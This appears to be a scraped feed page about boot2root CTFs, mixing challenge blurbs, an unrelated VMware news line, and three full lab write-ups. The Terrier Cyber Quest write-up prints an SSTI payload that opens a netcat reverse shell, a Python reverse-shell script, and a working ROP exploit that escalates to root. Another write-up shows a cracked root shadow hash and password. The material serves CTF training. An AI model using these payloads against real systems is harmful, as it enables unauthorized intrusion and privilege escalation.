Opacity is a Boot2Root made for pentesters and cybersecurity enthusiasts.

BTRisk’in BTRSys1 boot2root makinesinde adım adım CTF çözümü: ağ keşfi, SQL Injection ile giriş, dosya yükleme zafiyeti, reverse shell ve root yetkisi alma süreçleri.

boot2root machine for FIT and bsides guatemala CTF

An Easy Boot2Root box for beginners

米VMwareは5月13日（現地時間）、仮想化PCソフト「VMware Workstation Pro」の個人利用を無償化すると発表した。Mac向けの「VMware Fusion Pro」も同じ扱いとなる。

Can you find your way into the Valley?

An online platform for learning and teaching cyber security, all through your browser.

boot2root machine for FIT and bsides guatemala CTF

In this engagement I was working in a CTF category called boot2root the description of the challenge is as follows: megatron wanted to share the files he hacked from U.S government to his co-bots. He deployed a password mechanism for sharing the files. He took a word from a small SMB article in Wikipedia, reversed it and put it in our CTF Flag format. Seems like he loved our CTF 🥹🥹 as always we start by scanning the target for open ports then follow that with Enumeration and exploitation if we find any juicy information for initial access. INFORMATION GATHERING : Scanning with nmap gives us this results : I can see 3 open ports, 22 SSH, 139 and 445 , SSH is closed for now so lets skip this vector. 22 SSH 139 netbios-ssn 445 SMB then my immediate guess when I see port 445 and 139 open is poking over SMB, SMB is just like any language, computer programmers have created different SMB dialects use for different purposes. For example, Common Internet File System (CIFS) is a specific implementation of SMB that enables file sharing. Many people mistake CIFS as a different protocol than SMB, when in fact they use the same basic architecture. my go tool in SMB is metasploit and the auxiliary module SMB Version as a starter to get an idea of which version is the current SMB. Scanning with auxiliary scanner smb version next I try the next auxiliary module which is smb login , to bruteforce logins, maybe we will have luck and find easy juicy information. our tool that will be used is smb login to bruteforce smb for logins against a password list BINGO! we found some credentials ; root:123456 admin: 123456 test: 123456 Found credentials. I found these credentials but they seem to be false, as in me rolling down the rabbit hole, so I decided to get myself back up and get out of the rabbit hole I’m falling into. After initiating a full nmap scan I found the following results: new ports were found: Scanned at 2024–09–26 16:26:19 EDT for 238s Not shown: 65529 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 22/tcp closed ssh reset ttl 63 139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2 445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2 44444/tcp closed cognex-dataman reset ttl 63 54321/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) ``` some findings worth mentioning using enum4linux : Looking up status of 10.10.255.210 H7TEX <00> - B <ACTIVE> Workstation Service H7TEX <03> - B <ACTIVE> Messenger Service H7TEX <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections next I found some interesting info using nbtscan tool : NBTSCAN Something called KENOBI and H7TEX looks like a domain. more information with crackmapexec : Crackmapexec results. ``` ┌──(root💀CSEC)-[/home/cyborgbytes/Documents/CTFEvents/H7CTF] └─# crackmapexec smb 10.10.255.210 --users -u admin -p 123456 [*] First time use detected [*] Creating home directory structure [*] Creating default workspace [*] Initializing RDP protocol database [*] Initializing SMB protocol database [*] Initializing MSSQL protocol database [*] Initializing FTP protocol database [*] Initializing SSH protocol database [*] Initializing LDAP protocol database [*] Initializing WINRM protocol database [*] Copying default configuration file [*] Generating SSL certificate SMB 10.10.255.210 445 H7TEX [*] Windows 6.1 Build 0 (name:H7TEX) (domain:H7TEX) (signing:False) (SMBv1:False) SMB 10.10.255.210 445 H7TEX [+] H7TEX\admin:123456 SMB 10.10.255.210 445 H7TEX [-] Error enumerating domain users using dc ip 10.10.255.210: socket connection error while opening: [Errno 110] Connection timed out SMB 10.10.255.210 445 H7TEX [*] Trying with SAMRPC protocol SMB 10.10.255.210 445 H7TEX [+] Enumerated domain user(s) SMB 10.10.255.210 445 H7TEX H7TEX\megatron SMB 10.10.255.210 445 H7TEX [+] Enumerated domain user(s) SMB 10.10.255.210 445 H7TEX H7TEX\megatron ``` ``` S-1-22-1-1000 Unix User\megatron (Local User) S-1-22-1-1001 Unix User\optimus (Local User) S-1-22-1-1002 Unix User\h7tex (Local User) ``` cewl -w wordlist.txt -d 1-m 5 after running the bruteforce again I found some juicy information a credential for a user called optimus: Finding the Password. H7CTF{swodniW} after brute forcing using smblogin we are able to find credential for megatron user, later I stumbled across a text file which has a private key , which got us initial access on the box : SMBmap results. after using the credentials with smbclient we can list the shares : ``` smbclient //10.10.169.17/ILoveYou -U megatron%H7CTF{noitaugibmasiD} ``` Credits to my teammate TroyLynx for finding the password and being more patient than me in cracking it, I spent a reasonable time trying to crack it with no use. With the password I was able to get initial foothold via SSH, and retrieve the User Flag, unfortunately the CTF finished before I managed to get the root flag. Thanks everyone for reading my article, if you like what you’re reading pleases clap and share it so it reach more people, thanks alot and cheers! H7CTF Boot2Root Challenge Experience. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Terrier Cyber Quest 2025 — Brief Write-up Quick but complete walk-through for the Boot2Root CTF hosted during Cyber Quest 2025. Featured Image. Initial Access Ran an nmap scan — sudo nmap -sC 192.168.57.24 -A -v -p- Result for the nmap scan. We found a web-server running at 5000 — Service Information from the nmap scan. Fuzzed directories and endpoints using ffuf. ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806 Found a page using ffuf. Went to the page and tested for SSTI and confirmed it. Entering a generic payload to test for SSTI. Confirmation that SSTI exists. Entered the following payload and gained a foot-hold. {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}} Got the first flag — FLAG -> S3Cur1ty_Br3@k_P@55ed. Shell access obtained as a foothold on the server. Found a suspicious directory at / — Found a note that contained hint for the next challenge. Following the hint, investigated the pcapng file and copied all ICMP data - Using wireshark to investigate the “pcapng” file for further information. Hex-decoding it, we obtained the following encoded text — 22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4 Finally using CyberChef, we decoded it to Pass:H1dden_W0rlD_UnD3r_Bit — Using CyberChef to decode the found string. We also found a Container.png file and exported it — Using wireshark to export “PNG” file from the capture file. After that we used a tool OpenStego and got the creds for flower —  F!ow3r#92@tY8&Vk — Using OpenStego application to extract hidden data from the “PNG” image. Also, we observe that we have more users apart from root - cat /etc/passwd Privilege Escalation — Stage 1 We obtained shell to flower using ssh — ssh session for the user “flower”. During recon we found a directory called handler, clearly we can see different permissions for different users. Listed contents of a suspicious directory. When I checked for running processes, I saw daemon.py which was inside /handler directory running as leaf user — A python script running as “leaf” user. Further investigating daemon.py I found out that it copies handler.py from /handler to /tmp/ directory as leaf user and then executes it as leaf user. I also noticed that I had privilege of rw for /handler/handler.py file and so I modified it. #!/usr/bin/env python3 import socket, os, pty, sys, time, traceback HOST = "127.0.0.1" PORT = 6969 CONNECT_TIMEOUT = 6.0 def main(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(CONNECT_TIMEOUT) s.connect((HOST, PORT)) s.settimeout(None) try: s.sendall(b"handler: connected - spawning PTY shell\n") except Exception: pass except Exception as e: time.sleep(0.2) return fd = s.fileno() os.dup2(fd, 0) os.dup2(fd, 1) os.dup2(fd, 2) try: pty.spawn("/bin/sh") except Exception: try: os.execv("/bin/sh", ["/bin/sh", "-i"]) except Exception: try: s.close() except Exception: pass if __name__ == "__main__": try: main() except Exception: traceback.print_exc() time.sleep(0.2) We can trigger daemon.py to copy handler.py to /tmp/handler_exec.py as leaf user by doing nc -nvlp 8080 so that it tries to make a connection — Making a connection to localhost port 8080 using netcat. And we pwned leaf user — Obtained shell to “leaf” user. Obtained the third flag FLAG -> Y0u_kn0w_i5_th15_RaC3 — Showing contents of the F14@_thr33.txt file. Privilege Escalation — Stage 2 From recon we also found out that /bin/ contained a binary that runs as stem and leaf user is allowed to execute it. Listing a binary file called “challenge” that has “suid” bit set meaning it runs as “stem” user. We obtain this challenge file and investigate. Most likely a pwn challenge. Basic information and execution of the “challenge” program. We use decompiler and it looks like a ret2win challenge — win() function Pseudo C code from Binary Ninja decompiler. We see that username that we need to enter is john from — Pseudo C code from Binary Ninja decompiler. Then we have a password_check() function, it is about making sure of a few constraints regarding string and there exists multiple such string that will satisfy as the password, you can use GPTs to find those strings — Pseudo C code from Binary Ninja decompiler. Also on a side-note, we see that Partial RELRO simply moves the GOT above the program’s variables, meaning you can’t overflow into the GOT but IT IS WRITEABLE and it is NOT a position independent executable. Protections for ./challenge binary. We also notice that using Index and then Name we can arbitrarily overwrite memory (not really) but in our case we can overwrite GOT table entry to win() function. Pseudo C code from Binary Ninja decompiler. Here, we are able to overwrite exit@got[plt] entry with win() function and thus popping up a shell as stem. GDB Window with the exploit script. We have obtained stem user — Executing the exploit. Thus the 4th flag FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M— Listening files and printing the contents of F14@_f0ur.txt file. Privilege Escalation — Stage 3 Doing recon we found another binary called final — A binary called “final” that has “suid” bit set that is it will run as “root” user. Upon inspecting the binary, we found a Format String Vulnerability that we can use to leak memory addresses for libc, binary and also to leak stack canary — main() Pseudo C code from Binary Ninja decompiler. Upon debugging along with error and trial we figured out that at the following position we are getting addresses for __libc_start_call_main(), stack canary and main() — Showing memory leak found in ./final binary. And the following function had Stack Buffer Overflow vulnerability — sub_401223() Pseudo C code from Binary Ninja decompiler. Even though this ./final challenge had all the protections ON it doesn’t matter because we are able to leak stack then perform return oriented programming to call libc functions — Showing memory protections for the given “./final” binary. Here’s my exploit to pwn the ./final challenge — from pwn import * p = process("/bin/final") p.sendline(b"%43$p-%61$p-%64$p") leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-') canary = int(leak[1].decode(), 16) main_addr = int(leak[2].decode(), 16) libc_start_call_main = int(leak[0].decode(), 16) - 120 #__libc_start_call_main libc_start_main = libc_start_call_main + 0xae # __libc_start_main libc_base_addr = libc_start_main - 0x2a200 # 0x2a200 = libc_start_main - offset of __libc_start_main binsh = libc_base_addr + 0x1cb42f # 0x1cb42f = offset in libc.so.6 for "/bin/sh" string libc_system = libc_base_addr + 0x58750 # 0x58750 = offset in libc.so.6 for "system()" call libc_pop_rdi_ret = libc_base_addr + 0x10f75b # pop rdi; ret gadget in libc.so.6 libc_ret = libc_base_addr + 0x10f75c # ret; gadget in libc.so.6 libc_setuid = libc_base_addr + 0x10ea90 # setuid() call in libc.so.6 real_canary = p64(canary) real_main_addr = p64(main_addr) real_libc_system = p64(libc_system) real_binsh = p64(binsh) real_libc_pop_rdi_ret = p64(libc_pop_rdi_ret) real_libc_ret = p64(libc_ret) real_libc_setuid = p64(libc_setuid) print("[+] Obtained Canary :: {}".format(leak[1])) print("[+] main() Address :: {}".format(leak[2])) print("[+] __libc_start_main() Address :: {}".format(hex(libc_start_main))) print("[+] libc_base_addr Address :: {}".format(hex(libc_base_addr))) #p.close() #exit() payload = b"" payload += b"A" * 0x48 # buffer payload += real_canary # canary payload += b"B" * 0x8 # saved_rbp payload += real_libc_pop_rdi_ret # pop rdi; ret payload += p64(0) payload += real_libc_ret # ret; payload += real_libc_setuid # setuid(0) payload += real_libc_pop_rdi_ret # pop rdi; ret payload += real_binsh # "/bin/sh" payload += real_libc_ret # ret; payload += real_libc_system # system() payload += b"\x90" * 0x8 p.send(payload) print(p.clean()) p.interactive() Once you run python3 final_pwn.py script and boom we obtained our final flag — D4Y_0_T0_zeR0_d4Y. “root” user shell obtained by exploiting suid binary “./final”. Afterwords 😸 Thank you for reading this brief write-up. I’d like to post a longer one for the last challenge about binary exploitation if I am in mood. Let me know if you have any questions. Happy hacking💖. Terrier Cyber Quest 2025 — Brief Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Anonforce — TryHackMe Walkthrough | Complete Guide to Boot2Root Introduction In this walkthrough, I’ll explore Anonforce , a Boot2Root machine on TryHackMe from the Bsides Guatemala CTF . It’s perfect for beginners looking to practice key skills like service enumeration, exploiting anonymous FTP, cracking GPG keys, and privilege escalation. Initial Enumeration My journey into the Anonforce TryHackMe boot2root challenge started with a thorough nmap scan to enumerate open ports and services on the target machine. nmap -sC -sV <Ip> The scan revealed two interesting open services: FTP (Port 21) running vsftpd 3.0.3, which allowed anonymous login . SSH (Port 22) running OpenSSH 7.2. Here’s the relevant part of the scan output: 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 Given the anonymous FTP login was enabled, I decided to investigate it further. FTP Login and File Enumeration Connecting to the FTP service was straightforward. I logged in using default anonymous credentials: ftp 10.201.18.12 Credentials: anonymous:anonymous After logging in successfully, I explored the remote file system. The root FTP directory contained several folders, and I noticed a directory named home. Digging deeper, I navigated into: ftp> cd home ftp> ls drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 melodias Capturing the U ser flag Inside the melodias directory, there was an interesting file named user.txt. I downloaded the file to capture the first flag: ftp> get user.txt Once retrieved, I displayed the content of the file: cat user.txt And here was the user flag: 606083fd33beb1284fc51f411a706af8 Discovering and Cracking the GPG Key While continuing my FTP exploration, I stumbled upon an interesting directory named notread that contained two suspicious files: backup.pgp (an encrypted backup file) private.asc (a private GPG key) Naturally, I downloaded both files for offline analysis: ftp> get backup.pgp ftp> get private.asc Converting Private Key for Cracking My goal was to extract the passphrase protecting the private key. To do this, I used gpg2john, a tool designed to convert GPG private key files into a format suitable for John the Ripper: gpg2john private.asc > privatex Once converted, I ran John the Ripper to crack the passphrase: john privatex --show And success! The passphrase was revealed as: xbox360 Decrypting the Backup File Armed with the passphrase, I imported the private key into my GPG keyring: gpg --import private.asc Then I decrypted the backup file using the discovered password: gpg --decrypt backup.pgp The decrypted content revealed a critical piece of information — a list of system users with hashed passwords, including the root hash: root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7::: daemon:*:17953:0:99999:7::: bin:*:17953:0:99999:7::: This was a major breakthrough. I now had the root hash . Cracking the Root Hash After extracting the root hash from the decrypted backup.pgp file, the next logical step was to crack it. I used John the Ripper with the popular rockyou.txt wordlist: john hash -w=/usr/share/wordlists/rockyou.txt Within seconds, John successfully cracked the root password: hikari (root) This gave me the credentials I needed to gain full root access on the machine. Capturing the Root Flag With the cracked password in hand, I initiated an SSH session as the root user: ssh root@10.201.18.12 When prompted, I entered the password hikari, and I was instantly logged in as  root . From here, I navigated to the /root directory and captured the final root flag: cat /root/root.txt The flag was revealed as: f706456440c7af4187810c31c6cebdce Conclusion Anonforce was an exciting Boot2Root challenge that tested my skills in enumeration, cryptography, and privilege escalation. I started with anonymous FTP login, found and cracked a GPG private key, decrypted a backup to extract password hashes, and finally cracked the root password to capture the root flag. This room is especially good for beginners preparing for certifications like CompTIA Security+ and CEH (Certified Ethical Hacker) , as it covers important practical concepts such as service enumeration, password cracking, and privilege escalation. Anonforce — TryHackMe Walkthrough | Complete Guide to Boot2Root was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Opacity is a Boot2Root made for pentesters and cybersecurity enthusiasts. There are several ways to perform an action; always analyze the…

Learn hacking our Boot2root VMs and our online labs! Hack and fun!

Introduction: Capture The Flag competitions are evolving from abstract puzzle‑solving into realistic attack simulation, providing the closest experience to legitimate penetration testing outside of a professional engagement. The recent Yukthi CTF 2.0 Grand Finals, as highlighted by team CYBERBEINGS' experience, exemplifies this shift with its intense Boot2Root-style challenges that mirror the tactics, techniques, and procedures (TTPs) of actual adversaries targeting enterprise networks.

This is a machine that allows you to practise web app hacking and privilege escalation

🎯 New TryHackMe Challenge!Mustacchio🟢 Difficulty: easy📝 DescriptionEasy boot2root Machine🏷️ TagsRed, Security Engineer, Penetration testing, Vulnerability analysis, Linux, Web🔗 Start the challenge: https://tryhackme.com/room/mustacchio

New TryHackMe challenge! Archangel - Difficulty: easy. Description: Boot2root, Web exploitation, Privilege escalation, LFI. Tags: Red, Security Engineer, Penetration testing, Application penetration testing, Network penetration testing, Linux, Web. Start the challenge.

🎯 New TryHackMe Challenge! GamingServer 🟢 Difficulty: easy 📝 Description An Easy Boot2Root box for beginners 🏷️ Tags Red, Penetration testing, Red teaming, Exploit development, ffuf, John the Ripper, Linux, Web 🔗 Start the challenge: https://tryhackme.com/room/gamingserver

The journey into penetration testing and red teaming is often marked by initial challenges and self-doubt, as highlighted by a recent Reddit post. The author, who has been using TryHackMe for 50 consecutive days, expresses feelings of inadequacy after attempting boot2root machines. This experience is common among beginners in cybersecurity, where the learning curve can be steep and the field's complexity can be overwhelming. Boot2root machines are designed to simulate real-world scenarios, requiring a blend of technical skills such as network scanning, vulnerability assessment, and exploitation techniques. The author's practice of consulting writeups after attempts is a positive step, as it provides insights into different methodologies and solutions. From a professional standpoint, it is crucial to recognize that initial struggles are a normal part of the learning process. The cybersecurity landscape benefits from a continuous influx of new talent, but it also underscores the need for effective training resources and mentorship. For cybersecurity professionals, encouraging beginners to persist, seek mentorship, and utilize available resources can help them overcome initial hurdles and develop into skilled practitioners.

New TryHackMe challenge available! Basic Pentesting - Difficulty: easy. Description: This is a machine that allows you to practice web app hacking and privilege escalation. Tags: security, Penetration Tester/ Red Team, webapp, Linux, cracking, Penetration testing, Hydra, Nmap, Gobuster, Security Engineer, Enum4linux, boot2root, Red, Red teaming, LinPeas. Start the challenge: https://tryhackme.com/room/basicpentestingjt